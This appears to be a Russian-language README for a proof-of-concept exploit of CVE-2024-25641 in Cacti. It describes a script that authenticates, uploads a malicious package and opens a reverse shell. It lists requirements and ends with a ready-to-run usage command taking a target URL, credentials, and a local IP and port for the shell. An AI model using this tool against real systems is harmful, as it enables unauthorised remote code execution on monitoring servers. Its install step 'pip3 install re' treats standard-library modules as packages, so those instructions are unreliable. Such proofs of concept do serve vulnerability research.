Cacti CVE-2024-25641: Аутентифицированная загрузка пакета с RCE — Proof of Concept (PoC)

Этот скрипт является Proof of Concept (PoC) для эксплуатации уязвимости CVE-2024-25641 в Cacti — веб-инструменте мониторинга. Скрипт автоматизирует процесс аутентификации в приложении, загрузки вредоносного пакета и запуска обратного шелла.

Требования

• Python 3.x
• Библиотека requests
• Библиотека argparse
• Библиотека re

Вы можете установить необходимую библиотеку Python с помощью pip3:

pip3 install requests
pip3 install argparse
pip3 install re

Использование

(убедитесь, что файл test.xml.gz находится в той же папке, что и exploit.py)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]